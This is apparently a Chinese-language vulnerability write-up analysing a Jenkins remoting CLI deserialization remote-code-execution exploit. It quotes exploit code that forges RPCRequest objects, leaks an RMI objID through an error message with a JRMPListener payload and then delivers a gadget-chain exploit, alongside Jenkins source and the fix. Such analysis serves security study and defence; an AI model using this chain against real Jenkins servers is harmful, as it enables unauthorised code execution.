1 2 3 4 5 6 7 8 9 10 11 public static Callable<?, ?> getPropertyCallable ( final Object prop ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest" ); Constructor<?> reqCons = reqClass.getDeclaredConstructor(int .class, Method.class, Object[].class); Reflections.setAccessible(reqCons); Object getJarLoader = reqCons .newInstance(1 , Class.forName("hudson.remoting.IChannel" ).getMethod("getProperty" , Object.class), new Object [] { prop }); return (Callable<?, ?>) getJarLoader; }
简单来说就是一个 RPCRequest 类,它是 Command 类的子类,其构造函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public RPCRequest (int oid, Method m, Object[] arguments, ClassLoader cl) { this .oid = oid; this .arguments = arguments; this .methodName = m.getName(); this .classLoader = cl; this .types = new String [arguments.length]; Class<?>[] params = m.getParameterTypes(); for (int i = 0 ; i < arguments.length; ++i) { this .types[i] = params[i].getName(); } assert this .types.length == arguments.length; }
所以该对象中的 oid 属性为 1,methodName 属性为 getProperty,arguments 属性为 JarLoader.ours。然后到了服务端那边:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 try { cmd = SynchronousCommandTransport.this .read(); } catch (EOFException var23) { IOException ioe = new IOException ("Unexpected termination of the channel" ); ioe.initCause(var23); throw ioe; } catch (ClassNotFoundException var24) { SynchronousCommandTransport.LOGGER.log(Level.SEVERE, "Unable to read a command (channel " + name + ")" , var24); continue ; } finally { ++this .commandsReceived; }this .receiver.handle(cmd);
反序列化出 RPCRequest 对象后,会调用 handler:
1 2 3 4 5 6 7 8 9 10 11 12 public void handle (Command cmd) { Channel.this .updateLastHeard(); if (Channel.logger.isLoggable(Level.FINE)) { Channel.logger.fine("Received " + cmd); } try { cmd.execute(Channel.this ); } ... }
然后调用 RPCRequest 的 execute,关键的三行代码如下:
1 2 3 channel.pipeWriter.get(Request.this .lastIoId).get();RSP r = Request.this .perform(channel); rsp = new Response (Request.this .id, this .calcLastIoId(), r);
通过 perform 进行处理,然后将 Response 写入相应,perform 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 protected Serializable perform (Channel channel) throws Throwable { Object o = channel.getExportedObject(this .oid); Class[] clazz = channel.getExportedTypes(this .oid); try { Method m = this .choose(clazz); if (m == null ) { throw new IllegalStateException ("Unable to call " + this .methodName + ". No matching method found in " + Arrays.toString(clazz) + " for " + o); } else { m.setAccessible(true ); Object r; try { r = m.invoke(o, this .arguments); } catch (IllegalArgumentException var7) { throw new RemotingSystemException ("failed to invoke " + m + " on " + o + Arrays.toString(this .arguments), var7); } if (r != null && !(r instanceof Serializable)) { throw new RemotingSystemException (new ClassCastException (r.getClass() + " is returned from " + m + " on " + o.getClass() + " but it's not serializable" )); } else { return (Serializable)r; } } } catch (InvocationTargetException var8) { throw var8.getTargetException(); } }
通过 choose 获取反射函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Method choose (Class[] interfaces) { Class[] arr$ = interfaces; int len$ = interfaces.length; for (int i$ = 0 ; i$ < len$; ++i$) { Class clazz = arr$[i$]; Method[] arr$ = clazz.getMethods(); int len$ = arr$.length; label38: for (int i$ = 0 ; i$ < len$; ++i$) { Method m = arr$[i$]; if (m.getName().equals(this .methodName)) { Class<?>[] paramTypes = m.getParameterTypes(); if (paramTypes.length == this .arguments.length) { for (int i = 0 ; i < this .types.length; ++i) { if (!this .types[i].equals(paramTypes[i].getName())) { continue label38; } } return m; } } } } return null ; }
可以看出反射函数来自反射主体所继承的接口,并且要与函数名、参数等数据吻合。
然后就是一个显眼的反射操作,oid、method 都是可以可控制的,需要看一下的就是 channel.getExportedObject(作为反射的主体)和 channel.getExportedTypes(用于获取执行反射操作的函数)获取到的结果,经过调试可以发现,exportedObjects 表中只有一个成员,channel 自身。然后则会调用该 channel 的 getProperty 函数,参数为 JarLoader.ours,同样通过调试可以看到 properties 属性的值:
1 {hudson.cli.CliEntryPoint=hudson.cli.CliManagerImpl@405894b7, hudson.remoting.JarLoader.ours=hudson.remoting.JarLoaderImpl@44671864 }
所以这一步获取到的实际上是一个 JarLoaderImpl 对象,然后生成 Response:
1 return new UserResponse (this .serialize(r, channel), false );
并写入响应:
在序列化 JarLoaderImpl 对象的时候,会触发其 writeReplace 函数:
1 2 3 private Object writeReplace () { return Channel.current().export(JarLoader.class, this ); }
调用 channel 的 export 函数将自身放入其 exportedObjects 表中,所以下次交互进行到 perform 函数中的反射时,可以使用 JarLoaderImpl 作为反射主体。
经过处理后,最终返回的是一个 Proxy 对象,其 invocationhandler 中存放着 JarLoaderImpl 对象的 oid(用于表示远程对象的一个数字),调试可得其为 2。
然后进入第二步:
1 2 3 4 5 6 7 8 9 Object uro = new JRMPListener ().getObject(String.valueOf(jrmpPort)); Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest" );Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);try { c.call((Callable<?, ?>) o); }
生成一段 JRMPListener payload,然后调用 makeIsPresentOnRemoteCallable:
1 2 3 4 5 6 7 8 9 private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { Constructor<?> reqCons = reqClass.getDeclaredConstructor(int .class, Method.class, Object[].class); Reflections.setAccessible(reqCons); return reqCons .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote" , Class.forName("hudson.remoting.Checksum" )), new Object [] { uro, }); }
可以看到生成的同样是一个 RPCRequest 类,这次其 oid 为 2,methodName 为 isPresentOnRemote,arguments 为 JRMPListener payload。这样来到 perform 函数时,就是在 JarLoaderImpl 对象上调用其接口 JarLoader 的 isPresentOnRemote 函数,但是这里有个问题,JarLoader 接口的 isPresentOnRemote 函数是一个抽象函数:
1 boolean isPresentOnRemote (Checksum var1) ;
于是就会报错并抛出异常:
1 throw new RemotingSystemException ("failed to invoke " + m + " on " + o + Arrays.toString(this .arguments), var7);
而上一层则会捕捉异常并将其作为响应:
1 2 3 catch (Throwable var18) { rsp = new Response (Request.this .id, this .calcLastIoId(), var18); }
观察报错信息:
1 failed to invoke public abstract boolean hudson.remoting.JarLoader.isPresentOnRemote(hudson.remoting.Checksum) on hudson.remoting.JarLoaderImpl@2cae1e9d[ActivationGroupImpl[UnicastServerRef [liveRef: [endpoint:[172.17.0.2:12345](local),objID:[6c817df0:175f8bef343:-7ffd, 937379779203472170]]]]]
报错会打印出 arguments,也就是 JRMPListener payload,这是一个 ActivationGroupImpl -> UnicastServerRef -> LiveRef 的对象,而在报错打印数据时调用的 LiveRef 的 toString 函数中:
1 2 3 4 5 6 7 8 9 10 public String toString () { String var1; if (this .isLocal) { var1 = "local" ; } else { var1 = "remote" ; } return "[endpoint:" + this .ep + "(" + var1 + ")," + "objID:" + this .id + "]" ; }
会将其中的 objID 打印出来。
接下来就是最后一步了:
1 2 3 4 5 6 7 8 9 10 11 12 try { c.call((Callable<?, ?>) o); }catch ( Exception e ) { System.err.println(e.getMessage()); parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); }
执行第二步操作并捕捉前面提到的因为调用了抽象函数抛出的异常,然后调用 parseObjIdAndExploit,解析报错信息中的 objID,然后调用 exploit,可以看到 exploit 部分其实跟 JRMPClient 差别不大,不同的地方就在于写入了前面解析出来的 objID,而不是默认的 2。
跟踪一下 JRMPListener 的反序列化过程,看到 Transport 类的 serviceCall 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 public boolean serviceCall (final RemoteCall var1) { try { ObjID var39; try { var39 = ObjID.read(var1.getInputStream()); } catch (IOException var33) { throw new MarshalException ("unable to read objID" , var33); } Transport var40 = var39.equals(dgcID) ? null : this ; Target var5 = ObjectTable.getTarget(new ObjectEndpoint (var39, var40)); final Remote var37; if (var5 != null && (var37 = var5.getImpl()) != null ) { final Dispatcher var6 = var5.getDispatcher(); var5.incrementCallCount(); boolean var8; try { transportLog.log(Log.VERBOSE, "call dispatcher" ); final AccessControlContext var7 = var5.getAccessControlContext(); ClassLoader var41 = var5.getContextClassLoader(); ClassLoader var9 = Thread.currentThread().getContextClassLoader(); try { setContextClassLoader(var41); currentTransport.set(this ); try { AccessController.doPrivileged(new PrivilegedExceptionAction <Void>() { public Void run () throws IOException { Transport.this .checkAcceptPermission(var7); var6.dispatch(var37, var1); return null ; } }, var7); return true ; } ... } ... } ... } ... } ... }
可以看到,这里反序列化出 ObjID 后,会根据 ObjID 从 ObjectTable 取出 Target 对象,然后再从 Target 对象中取出 ClassLoader 并设置为当前环境下的 classLoader。
而调试可以得知,当使用默认的 objID 时,其 classLoader 为 AppClassLoader,其加载路径为启动命令、系统属性等 classpath,而 Jenkins 的 commons-collections 包是放在 lib 目录下的,也就是说要用 WebAppClassLoader 才能加载到,所以就会因为无法加载类而导致利用失败。
而在 JRMPListener payload 反序列化过程中,会调用 UnicastServerRef 类的 exportObject 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Remote exportObject (Remote var1, Object var2, boolean var3) throws RemoteException { Class var4 = var1.getClass(); Remote var5; try { var5 = Util.createProxy(var4, this .getClientRef(), this .forceStubUse); } catch (IllegalArgumentException var7) { throw new ExportException ("remote object implements illegal remote interface" , var7); } if (var5 instanceof RemoteStub) { this .setSkeleton(var1); } Target var6 = new Target (var1, this , var5, this .ref.getObjID(), var3); this .ref.exportObject(var6); this .hashToMethod_Map = (Map)hashToMethod_Maps.get(var4); return var5; }
他会生成一个新的 Target,用自身 ref 属性(即 LiveRef)中的 objID 进行标识,并通过 putTarget 将其放入 ObjectTable 中。所以我们通过报错获取 LiveRef 中的 objID 后,就可以通过该 objID 在反序列化时获取相应 Target 中的 WebAppClassLoader。
漏洞修复 将 rmi 相关的包放入黑名单。
参考文章 安全研究 | Jenkins漏洞分析
Jenkins RCE漏洞分析汇总